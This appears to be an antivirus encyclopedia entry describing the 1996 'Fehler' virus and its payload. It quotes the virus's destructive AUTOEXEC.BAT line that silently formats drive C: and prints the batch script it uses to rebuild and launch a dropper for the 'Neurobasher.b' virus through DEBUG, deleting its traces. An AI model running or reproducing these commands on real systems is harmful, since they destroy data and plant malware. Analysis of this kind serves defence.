Fehler While printing the documents it appends: Brought to you by the Nemesis Corporation, 1996 On 1st of may the virus writes the string to the AUTOEXEC.BAT file: @echo j|format c: /u >nul This virus also launches "Neurobasher.b" multipartite virus. To do that the virus creates the C:\DOS\SCRIPT.SCR file, and writes hexadecimal dump of that virus into there. Then the virus creates the C:\DOS\EXEC.BAT file, and writes the strings into there: @echo off debug < script.scr>nul rem debugger.com echo @c:\dos\debugger.exe>>c:\autoexec.bat del c:\dos\script.scr del c:\dos\exec.bat Then the virus executes that file. As the result DEBUG.EXE creates the DEBUGGER.EXE file, and C:\AUTOEXEC.BAT has new string at its end: @c:\dos\debugger.exe So, the last command of AUTOEXEC.BAT launches dropper of "Neurobasher.b" virus. ..........................................................................
